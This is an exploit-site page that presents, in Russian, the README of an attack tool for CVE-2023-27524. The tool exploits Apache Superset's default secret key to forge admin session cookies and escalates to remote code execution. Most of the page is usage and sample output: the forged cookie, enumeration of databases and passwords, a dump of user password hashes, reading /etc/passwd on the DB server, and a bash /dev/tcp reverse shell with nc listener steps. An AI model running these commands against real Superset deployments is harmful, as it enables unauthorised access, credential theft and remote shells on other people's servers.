Sploitus

Exploit for CVE-2023-27524-Apache-Superset-Auth-Bypass-and-RCE

kitploit Β· 2026-08-27

Exploit Code

MARKDOWN196 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JAKABAKOS-CVE-2023-27524-APACHE-SUPERSET-AUTH-BYPASS-AND-RCE
# CVE-2023-27524: ΠΎΠ±Ρ…ΠΎΠ΄ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΈ RCE Π² Apache Superset

Apache Superset, ΡˆΠΈΡ€ΠΎΠΊΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ инструмСнт с ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ исходным ΠΊΠΎΠ΄ΠΎΠΌ для Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΈ исслСдования Π΄Π°Π½Π½Ρ‹Ρ…, Π±Ρ‹Π» ΠΏΡ€ΠΈΠ·Π½Π°Π½ ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΌ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ уязвимости бСзопасности, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ привСсти ΠΊ ΠΎΠ±Ρ…ΠΎΠ΄Ρƒ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌΡƒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡŽ ΠΊΠΎΠ΄Π° (RCE). Π­Ρ‚ΠΈ уязвимости ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ административныС ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ Π½Π° Ρ†Π΅Π»Π΅Π²Ρ‹Ρ… сСрвСрах, ΡΠΎΠ±ΠΈΡ€Π°Ρ‚ΡŒ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΡΠΊΠΎΠΌΠΏΡ€ΠΎΠΌΠ΅Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅.

ΠšΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Π°Ρ рассматриваСмая ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° бСзопасности β€” это ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ нСбСзопасной ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, обозначСнная ΠΊΠ°ΠΊ CVE-2023-27524.

Основная ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π° Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² прСдсказуСмом сСкрСтном ΠΊΠ»ΡŽΡ‡Π΅ Flask, установлСнном Π²ΠΎ врСмя инсталляции, Ρ‡Ρ‚ΠΎ Π·Π°Ρ‚Ρ€Π°Π³ΠΈΠ²Π°Π΅Ρ‚ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ количСство ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹Ρ… экзСмпляров Apache Superset. НСсмотря Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ усилия ΠΏΠΎ ΡΠΌΡΠ³Ρ‡Π΅Π½ΠΈΡŽ, эта ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ остаСтся критичСской ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ для Ρ‚Π΅Ρ…, ΠΊΡ‚ΠΎ Π½Π΅ ΠΎΠ±Π½ΠΎΠ²ΠΈΠ» свои ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ.

ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π° Π΄ΠΎ RCE. Π”Π°Π½Π½Ρ‹ΠΉ эксплойт добавляСт эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΊ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠΌΡƒ.

ΠžΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ΅ описаниС уязвимости:

> Атаки Π½Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ сСссий Π² вСрсиях Apache Superset Π΄ΠΎ 2.0.1 Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ. Установки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ SECRET_KEY ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² соотвСтствии с инструкциями ΠΏΠΎ установкС, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΡƒ ΠΏΡ€ΠΎΠΉΡ‚ΠΈ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π½Π΅Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ рСсурсам. Π­Ρ‚ΠΎ Π½Π΅ Π·Π°Ρ‚Ρ€Π°Π³ΠΈΠ²Π°Π΅Ρ‚ администраторов Superset, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ SECRET_KEY.

## ΠŸΠΎΡΡ‚ Π² Π±Π»ΠΎΠ³Π΅

Π”Π°Π½Π½Ρ‹ΠΉ скрипт эксплойта написан для Π°Π½Π°Π»ΠΈΠ·Π° CVE Π½Π° vsociety.

## ИспользованиС

Установка ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² PIP:

root@kitploit:~
    
    
    pip3 install -r requirements.txt                                                                
    

ИспользованиС:

root@kitploit:~
    
    
    usage: exploit.py [-h] --url URL [--id ID] [--wordlist WORDLIST] [--validate] [--enum-dbs] [--enum-users] [--cmd CMD]
                      [--revshell REVSHELL] [--db-host]
    
    options:
      -h, --help            show this help message and exit
      --url URL, -u URL     Host URL
      --id ID               User ID to forge session cookie for. Default=1
      --wordlist WORDLIST, -w WORDLIST
                            Specify a wordlist file (default is 10.txt)
      --validate, -v        Validate the presence of vulnerability by login attempt
      --enum-dbs, -dbs      Enumerate databases
      --enum-users, -eu     Enumerate databases
      --cmd CMD, -c CMD     Run custom OS command on the database's server.
      --revshell REVSHELL   Specify IP:Port for reverse shell
      --db-host             Run commands or open reverse shell on the database server
    

## ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹

### ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° уязвимости ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ° Π²Π·Π»ΠΎΠΌΠ° сСкрСта прилоТСния с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ списка слов

root@kitploit:~
    
    
    # python3 exploit.py --url http://localhost:8088 -v -w 10k_most_common_passwords.txt 
    [+] Session cookie found.
    [+] Decoded session cookie: <REDACTED>
    [+] Using '10k_most_common_passwords.txt' as a wordlist.
    [+] Superset instance is VULNERABLE to CVE-2023-27524.
    [+] Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
    [+] Forged session cookie for user 1: <REDACTED>
    [+] Superset Version: 2.0.1
    [+] Login successful. Vulnerability is validated.
    

### ΠŸΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»Π΅Π½ΠΈΠ΅ Π±Π°Π· Π΄Π°Π½Π½Ρ‹Ρ…

root@kitploit:~
    
    
    # python3 exploit.py -u http://localhost:8088 --enum-dbs      
    [+] Session cookie found.
    [+] Decoded session cookie:
        {'csrf_token': '5d4c9ad6caf94bc1c652b0fc8e8739d19c45c05a', 'locale': 'en'}
    [+] Using default secret keys.
    [+] Superset instance is VULNERABLE to CVE-2023-27524.
    [+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
    [+] Forged session cookie for user 1:
        eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsQ6Q.nKTBZiUq-Cu0iWSLQIUtB2W9HnM
    [+] Version 2.0.1 seems vulnerable.
    [+] Enumerating databases via API...
    [+] Found database: "examples" with password "superset".
    [+] Found database: "SQLite".
    [+] Enumerating database connection data and cracking password if possible...
    +-----------------+---------------------------------------------------+--------------------------+----------------------+
    | database_name   | sqlalchemy_uri                                    | password                 | decrypted_password   |
    |-----------------+---------------------------------------------------+--------------------------+----------------------|
    | examples        | postgresql://superset:XXXXXXXXXX@db:5432/superset | MAqp6AIikZpDM5bMH4MMgA== | superset********     |
    | SQLite          | sqlite+pysqlite:////app/superset_home/superset.db |                          |                      |
    +-----------------+---------------------------------------------------+--------------------------+----------------------+
    [+] Process of enumerating databases finished.
    
    

### ΠŸΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Superset

root@kitploit:~
    
    
    # python3 exploit.py -u http://localhost:8088 --enum-users              
    [+] Session cookie found.
    [+] Decoded session cookie:
        {'csrf_token': '2a3adb09bac36c330a77c74da1cca27c431779e8', 'locale': 'en'}
    [+] Using default secret keys.
    [+] Superset instance is VULNERABLE to CVE-2023-27524.
    [+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
    [+] Forged session cookie for user 1:
        eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsRCQ.qeci7JgO5Lb4AwexB0Qojp5RDbs
    [+] Version 2.0.1 seems vulnerable.
    [+] Checking existing metadata database connection...
    [+] Settings of database with id 1 were successfully modified.
    [+] Settings of database with id 2 were successfully modified.
    [+] Superset metadata connection is already added with id 2.
    [+] Trying to enumerate Superset users...
    [+] RESULT:
    +------------+--------------------------------------------------------------------------------------------------------+
    | username   | password                                                                                               |
    |------------+--------------------------------------------------------------------------------------------------------|
    | admin      | pbkdf2:sha256:260000$z5y5YnluWzyx4kd2$33c40dfefdea9aedef6ed171a941492516ba49c1ed8ed740d7e05446ce639c0e |
    +------------+--------------------------------------------------------------------------------------------------------+
    

### Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΉ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ ОБ

На сСрвСрС Superset:

root@kitploit:~
    
    
    # python3 exploit.py --url http://localhost:8088 --cmd 'bash -i >& /dev/tcp/<IP>/4242 0>&1'
    

ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π² этом случаС Π²Ρ‹Π²ΠΎΠ΄ ΠΏΠΎΠΊΠ° Π½Π΅ Π²ΠΈΠ΄Π΅Π½.

На сСрвСрС Π‘Π”:

root@kitploit:~
    
    
    # python3 exploit.py -u http://localhost:8088 --cmd 'cat /etc/passwd' --db-host
    
    [+] Session cookie found.
    [+] Decoded session cookie:
        {'csrf_token': 'c2154d7077f507bd69c791f9d6de49115ba290a3', 'locale': 'en'}
    [+] Using default secret keys.
    [+] Superset instance is VULNERABLE to CVE-2023-27524.
    [+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
    [+] Forged session cookie for user 1:
        eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsRMw.haTjE2XBuVjamMvsdg7SemBr3Ig
    [+] Version 2.0.1 seems vulnerable.
    [+] Trying to run command on the database server...
    [+] Settings of database with id 1 were successfully modified.
    [+] $ cat /etc/passwd
    +-----------------------------------------------------------------------------------+
    | cmd_output                                                                        |
    |-----------------------------------------------------------------------------------|
    | root:x:0:0:root:/root:/bin/bash                                                   |
    | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin                                   |
    | <REDACTED>                                                                        |
    | postgres:x:999:999::/var/lib/postgresql:/bin/bash                                 |
    +-----------------------------------------------------------------------------------+
    

### ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΉ ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΠΈ (reverse shell)

На сСрвСрС Superset:

root@kitploit:~
    
    
    # Terminal 1
    nc -lvnp [PORT]
    
    # Terminal 2
    python3 exploit.py -u http://localhost:8088 --revshell [IP]:[PORT]
    

На сСрвСрС Π‘Π”:

root@kitploit:~
    
    
    # Terminal 1
    nc -lvnp [PORT]
    
    # Terminal 2
    python3 exploit.py -u http://localhost:8088 --revshell [IP]:[PORT] --db-host
    

## ΠžΡ‚ΠΊΠ°Π· ΠΎΡ‚ отвСтствСнности

Π”Π°Π½Π½Ρ‹ΠΉ скрипт эксплойта создан ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π² цСлях исслСдования ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ эффСктивных Π·Π°Ρ‰ΠΈΡ‚Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ². Он Π½Π΅ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для использования Π² ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎ врСдоносных ΠΈΠ»ΠΈ нСсанкционированных дСйствиях. Автор ΠΈ Π²Π»Π°Π΄Π΅Π»Π΅Ρ† скрипта ΡΠ½ΠΈΠΌΠ°ΡŽΡ‚ с сСбя Π»ΡŽΠ±ΡƒΡŽ ΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²Π΅Π½Π½ΠΎΡΡ‚ΡŒ Π·Π° Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ΅ использованиС ΠΈΠ»ΠΈ ΡƒΡ‰Π΅Ρ€Π±, ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅Π½Π½Ρ‹ΠΉ Π΄Π°Π½Π½Ρ‹ΠΌ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹ΠΌ обСспСчСниСм. ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π½Π°ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ рСкомСндуСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ это ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС отвСтствСнно ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² соотвСтствии с ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌΡ‹ΠΌΠΈ Π·Π°ΠΊΠΎΠ½Π°ΠΌΠΈ ΠΈ Π½ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΠ²Π½Ρ‹ΠΌΠΈ Π°ΠΊΡ‚Π°ΠΌΠΈ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ отвСтствСнно.